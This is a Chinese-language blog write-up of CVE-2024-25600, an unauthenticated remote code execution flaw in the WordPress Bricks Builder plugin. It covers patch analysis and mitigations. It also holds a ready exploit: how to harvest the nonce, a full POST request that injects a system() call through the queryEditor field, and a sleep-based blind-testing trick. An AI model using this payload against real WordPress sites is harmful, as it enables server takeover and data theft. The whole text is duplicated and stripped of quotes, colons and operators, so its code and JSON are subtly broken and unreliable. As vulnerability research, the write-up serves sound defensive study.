1. 漏洞背景与影响范围CVE-2024-25600这个编号最近在安全圈里炸开了锅它影响的是WordPress生态中非常流行的Bricks Builder插件。这个漏洞有多危险呢简单来说攻击者不需要任何登录凭证就能在网站上执行任意代码。想象一下黑客可以像管理员一样操控你的网站上传木马、窃取数据、甚至把整个站点变成僵尸网络的一部分。我在实际测试中发现受影响的主要是Bricks Builder 1.9.6.1之前的版本。这个插件的用户量相当大因为它是目前最受欢迎的WordPress可视化建站工具之一。漏洞刚爆出来时野外的攻击尝试就非常活跃很多攻击者都在尝试上传webshell。如果你还在用旧版本现在就应该立即升级到最新版。2. 漏洞触发原理深度解析2.1 核心漏洞点定位让我们直接切入最关键的代码文件query.php。在346行附近有一段处理动态查询的代码特别值得注意if (!empty($query_vars[queryEditor]) !empty($query_vars[useQueryEditor])) { $php_query_raw bricks_render_dynamic_data($query_vars[queryEditor], $post_id); eval($php_query_raw); // 这就是雷区 }看到那个eval了吗这就是RCE的罪魁祸首。正常情况下这个功能是用来执行用户自定义的查询逻辑但问题在于输入没有经过严格过滤。我追踪了bricks_render_dynamic_data函数的处理过程发现它虽然做了一些基础处理但完全不足以防御恶意代码注入。2.2 参数传递链条分析要利用这个漏洞我们需要控制四个关键参数element[name]必须设置为containersettings[query][objectType]需要存在但可以为空settings[query][useQueryEditor]需要设置为真settings[query][queryEditor]就是我们要注入的PHP代码在代码审计时我特别喜欢用参数溯源法——就是沿着参数传递路径倒推。从eval往上找发现$query_vars来自prepare_query_vars_from_settings方法而这个方法又是在Query类的构造函数中被调用的。这就构成了一个完整的利用链条。3. 完整利用链构造过程3.1 关键类与方法调用在ajax.php文件中有一个关键的路由/wp-json/bricks/v1/render_element这是攻击的入口点。当请求到达时会执行以下流程首先检查nonce值WordPress的安全令牌然后根据element[name]决定实例化哪个类如果namecontainer就会实例化Container类Container继承自Base类最终会调用render方法这里有个精妙的设计缺陷虽然看起来有类白名单机制但Container类的初始化过程没有对传入参数做充分验证。我在测试时发现只要构造特定的JSON结构就能让恶意代码一路畅通无阻地传到eval执行。3.2 绕过防御的技巧这个漏洞利用有几个需要注意的细节nonce值虽然是必需的但可以通过前端页面轻易获取请求必须通过WordPress的REST API发送代码执行发生在服务器端没有任何输出返回在实际渗透测试中我通常会先发一个探针请求确认漏洞存在比如执行phpinfo()。这里有个小技巧因为执行结果不返回所以最好用sleep(5)这种延时函数来盲测。4. 漏洞复现实操指南4.1 环境搭建建议要复现这个漏洞你需要WordPress 5.7Bricks Builder插件1.9.6PHP 7.4或8.0我建议使用Docker快速搭建环境docker run --name wp-bricks -p 8080:80 -e WORDPRESS_DB_HOSTdb \ -e WORDPRESS_DB_USERwpuser -e WORDPRESS_DB_PASSWORDwppass \ -e WORDPRESS_DB_NAMEwordpress -d wordpress:latest4.2 分步攻击演示首先获取nonce值可以在页面源码中搜索bricksNonceGET / HTTP/1.1 Host: vulnerable.site然后发送精心构造的payloadPOST /wp-json/bricks/v1/render_element HTTP/1.1 Host: vulnerable.site Content-Type: application/json { postId: 1, nonce: 获取到的nonce值, element: { name: container, settings: { query: { objectType: , useQueryEditor: true, queryEditor: system(id /tmp/pwned); } } } }如果漏洞存在服务器会执行id命令并将结果写入/tmp/pwned。注意这里用system而不是eval是为了避免引号转义问题。5. 防御措施与修复方案5.1 官方补丁分析Bricks Builder在1.9.6.1版本中修复了这个漏洞主要改动包括移除了直接eval执行代码的逻辑增加了严格的权限检查对动态数据渲染增加了过滤层我对比了补丁前后的代码发现新版本引入了current_user_can检查确保只有管理员能执行敏感操作。同时动态查询现在只能使用预定义的安全模板。5.2 临时缓解方案如果暂时无法升级可以采取这些措施在.htaccess中限制访问/wp-json/bricks/v1/安装Web应用防火墙(WAF)规则拦截可疑请求监控服务器上异常的PHP进程不过我必须强调这些只是权宜之计。最根本的解决办法还是尽快升级到安全版本。我在客户现场就遇到过因为延迟升级而导致服务器被入侵的案例教训非常深刻。6. 漏洞挖掘经验分享通过这个案例我总结出几个WordPress插件审计的经验重点关注eval、system、exec等危险函数调用追踪REST API端点处理流程特别注意类继承关系中的方法重写魔术方法如__construct往往是突破口在审计过程中我习惯先用静态分析工具扫描危险函数然后手动验证每个潜在漏洞点。对于Bricks Builder这样的复杂插件要特别注意组件间的交互逻辑。有时候一个看似无害的功能点可能因为与其他模块的错误交互而变成严重漏洞。记得第一次发现这个漏洞时我反复验证了三次才确认它的危害性。这种通过API触发的前台RCE在WordPress生态中确实不多见也提醒我们即使是知名插件也可能存在致命缺陷。
CVE-2024-25600 WordPress Bricks Builder RCE：从代码审计到漏洞利用链的深度剖析
1. 漏洞背景与影响范围CVE-2024-25600这个编号最近在安全圈里炸开了锅它影响的是WordPress生态中非常流行的Bricks Builder插件。这个漏洞有多危险呢简单来说攻击者不需要任何登录凭证就能在网站上执行任意代码。想象一下黑客可以像管理员一样操控你的网站上传木马、窃取数据、甚至把整个站点变成僵尸网络的一部分。我在实际测试中发现受影响的主要是Bricks Builder 1.9.6.1之前的版本。这个插件的用户量相当大因为它是目前最受欢迎的WordPress可视化建站工具之一。漏洞刚爆出来时野外的攻击尝试就非常活跃很多攻击者都在尝试上传webshell。如果你还在用旧版本现在就应该立即升级到最新版。2. 漏洞触发原理深度解析2.1 核心漏洞点定位让我们直接切入最关键的代码文件query.php。在346行附近有一段处理动态查询的代码特别值得注意if (!empty($query_vars[queryEditor]) !empty($query_vars[useQueryEditor])) { $php_query_raw bricks_render_dynamic_data($query_vars[queryEditor], $post_id); eval($php_query_raw); // 这就是雷区 }看到那个eval了吗这就是RCE的罪魁祸首。正常情况下这个功能是用来执行用户自定义的查询逻辑但问题在于输入没有经过严格过滤。我追踪了bricks_render_dynamic_data函数的处理过程发现它虽然做了一些基础处理但完全不足以防御恶意代码注入。2.2 参数传递链条分析要利用这个漏洞我们需要控制四个关键参数element[name]必须设置为containersettings[query][objectType]需要存在但可以为空settings[query][useQueryEditor]需要设置为真settings[query][queryEditor]就是我们要注入的PHP代码在代码审计时我特别喜欢用参数溯源法——就是沿着参数传递路径倒推。从eval往上找发现$query_vars来自prepare_query_vars_from_settings方法而这个方法又是在Query类的构造函数中被调用的。这就构成了一个完整的利用链条。3. 完整利用链构造过程3.1 关键类与方法调用在ajax.php文件中有一个关键的路由/wp-json/bricks/v1/render_element这是攻击的入口点。当请求到达时会执行以下流程首先检查nonce值WordPress的安全令牌然后根据element[name]决定实例化哪个类如果namecontainer就会实例化Container类Container继承自Base类最终会调用render方法这里有个精妙的设计缺陷虽然看起来有类白名单机制但Container类的初始化过程没有对传入参数做充分验证。我在测试时发现只要构造特定的JSON结构就能让恶意代码一路畅通无阻地传到eval执行。3.2 绕过防御的技巧这个漏洞利用有几个需要注意的细节nonce值虽然是必需的但可以通过前端页面轻易获取请求必须通过WordPress的REST API发送代码执行发生在服务器端没有任何输出返回在实际渗透测试中我通常会先发一个探针请求确认漏洞存在比如执行phpinfo()。这里有个小技巧因为执行结果不返回所以最好用sleep(5)这种延时函数来盲测。4. 漏洞复现实操指南4.1 环境搭建建议要复现这个漏洞你需要WordPress 5.7Bricks Builder插件1.9.6PHP 7.4或8.0我建议使用Docker快速搭建环境docker run --name wp-bricks -p 8080:80 -e WORDPRESS_DB_HOSTdb \ -e WORDPRESS_DB_USERwpuser -e WORDPRESS_DB_PASSWORDwppass \ -e WORDPRESS_DB_NAMEwordpress -d wordpress:latest4.2 分步攻击演示首先获取nonce值可以在页面源码中搜索bricksNonceGET / HTTP/1.1 Host: vulnerable.site然后发送精心构造的payloadPOST /wp-json/bricks/v1/render_element HTTP/1.1 Host: vulnerable.site Content-Type: application/json { postId: 1, nonce: 获取到的nonce值, element: { name: container, settings: { query: { objectType: , useQueryEditor: true, queryEditor: system(id /tmp/pwned); } } } }如果漏洞存在服务器会执行id命令并将结果写入/tmp/pwned。注意这里用system而不是eval是为了避免引号转义问题。5. 防御措施与修复方案5.1 官方补丁分析Bricks Builder在1.9.6.1版本中修复了这个漏洞主要改动包括移除了直接eval执行代码的逻辑增加了严格的权限检查对动态数据渲染增加了过滤层我对比了补丁前后的代码发现新版本引入了current_user_can检查确保只有管理员能执行敏感操作。同时动态查询现在只能使用预定义的安全模板。5.2 临时缓解方案如果暂时无法升级可以采取这些措施在.htaccess中限制访问/wp-json/bricks/v1/安装Web应用防火墙(WAF)规则拦截可疑请求监控服务器上异常的PHP进程不过我必须强调这些只是权宜之计。最根本的解决办法还是尽快升级到安全版本。我在客户现场就遇到过因为延迟升级而导致服务器被入侵的案例教训非常深刻。6. 漏洞挖掘经验分享通过这个案例我总结出几个WordPress插件审计的经验重点关注eval、system、exec等危险函数调用追踪REST API端点处理流程特别注意类继承关系中的方法重写魔术方法如__construct往往是突破口在审计过程中我习惯先用静态分析工具扫描危险函数然后手动验证每个潜在漏洞点。对于Bricks Builder这样的复杂插件要特别注意组件间的交互逻辑。有时候一个看似无害的功能点可能因为与其他模块的错误交互而变成严重漏洞。记得第一次发现这个漏洞时我反复验证了三次才确认它的危害性。这种通过API触发的前台RCE在WordPress生态中确实不多见也提醒我们即使是知名插件也可能存在致命缺陷。
